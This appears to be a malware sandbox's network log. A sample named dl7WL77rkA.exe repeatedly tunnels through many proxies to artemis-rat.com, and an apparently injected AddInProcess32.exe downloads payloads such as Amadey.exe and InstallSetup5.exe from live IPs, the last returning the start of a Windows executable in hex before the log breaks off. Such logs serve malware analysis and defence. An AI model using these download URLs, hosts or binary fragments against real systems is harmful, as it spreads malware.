Mar 11, 2024 03:30:51.876199961 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 717 Content-Type: text/html Date: Mon, 11 Mar 2024 02:30:51 GMT Expires: Mon, 11 Mar 2024 02:30:51 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2199	192.168.2.5	55502	199.229.254.129	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.516482115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2200	192.168.2.5	55452	43.255.113.232	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.516483068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.092545033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.702086926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.701951981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2201	192.168.2.5	55501	91.241.217.58	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.528938055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2202	192.168.2.5	55499	38.54.116.9	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.535258055 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:52.389467001 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:53.701972961 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:56.202143908 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:31:01.202116013 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2203	192.168.2.5	55460	184.170.248.5	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.536448002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2204	192.168.2.5	55510	91.134.140.160	32588	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.557642937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2205	192.168.2.5	55498	65.169.38.73	26592	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.047028065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2206	192.168.2.5	53874	45.173.231.197	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.047281981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.330807924 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2207	192.168.2.5	53982	51.161.33.206	13003	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.056529999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.701973915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.405402899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.889513016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.702004910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.498939991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.405430079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2208	192.168.2.5	55521	72.37.217.3	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.078758001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2209	192.168.2.5	53908	208.109.14.49	11733	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.504390001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2210	192.168.2.5	55527	142.54.237.34	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.506010056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2211	192.168.2.5	54014	161.97.173.78	7818	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.506597996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2212	192.168.2.5	55485	98.170.57.231	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.521671057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2213	192.168.2.5	54470	174.77.111.196	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.522377968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2214	192.168.2.5	55514	185.101.16.52	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.522913933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2215	192.168.2.5	53891	128.199.196.31	57715	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.523257017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2216	192.168.2.5	53934	103.28.114.181	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.523495913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.592628002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.175354004 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2217	192.168.2.5	55516	45.11.95.165	5219	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.523807049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2218	192.168.2.5	55520	58.75.126.235	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.524447918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2219	192.168.2.5	55482	103.180.198.130	8181	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.525549889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.405040026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.750685930 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2220	192.168.2.5	55522	212.108.155.205	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.527339935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2221	192.168.2.5	55524	45.11.95.165	6010	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.527350903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2222	192.168.2.5	55486	103.155.166.149	8181	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.527631998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.022430897 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2223	192.168.2.5	55538	121.128.194.154	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.528026104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2224	192.168.2.5	54085	193.30.13.13	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:52.528192997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.100380898 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2225	192.168.2.5	55565	15.204.49.148	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:54.082462072 CET	79	OUT	GET /files/Amadey.exe HTTP/1.1 Host: 15.204.49.148 Connection: Keep-Alive
Mar 11, 2024 03:30:54.301734924 CET	540	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:52 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Mar 11, 2024 03:30:54.336432934 CET	55	OUT	GET /files/Amadey.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:30:54.558962107 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:52 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2226	192.168.2.5	55566	15.204.49.148	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:54.090949059 CET	79	OUT	GET /files/Silent.exe HTTP/1.1 Host: 15.204.49.148 Connection: Keep-Alive
Mar 11, 2024 03:30:54.323389053 CET	540	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:52 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2227	192.168.2.5	55564	185.172.128.126	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:54.099591017 CET	82	OUT	GET /InstallSetup5.exe HTTP/1.1 Host: 185.172.128.126 Connection: Keep-Alive
Mar 11, 2024 03:30:54.407174110 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:54 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Mon, 11 Mar 2024 02:30:02 GMT ETag: "1ca8e4-6135951a2b6e0" Accept-Ranges: bytes Content-Length: 1878244 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 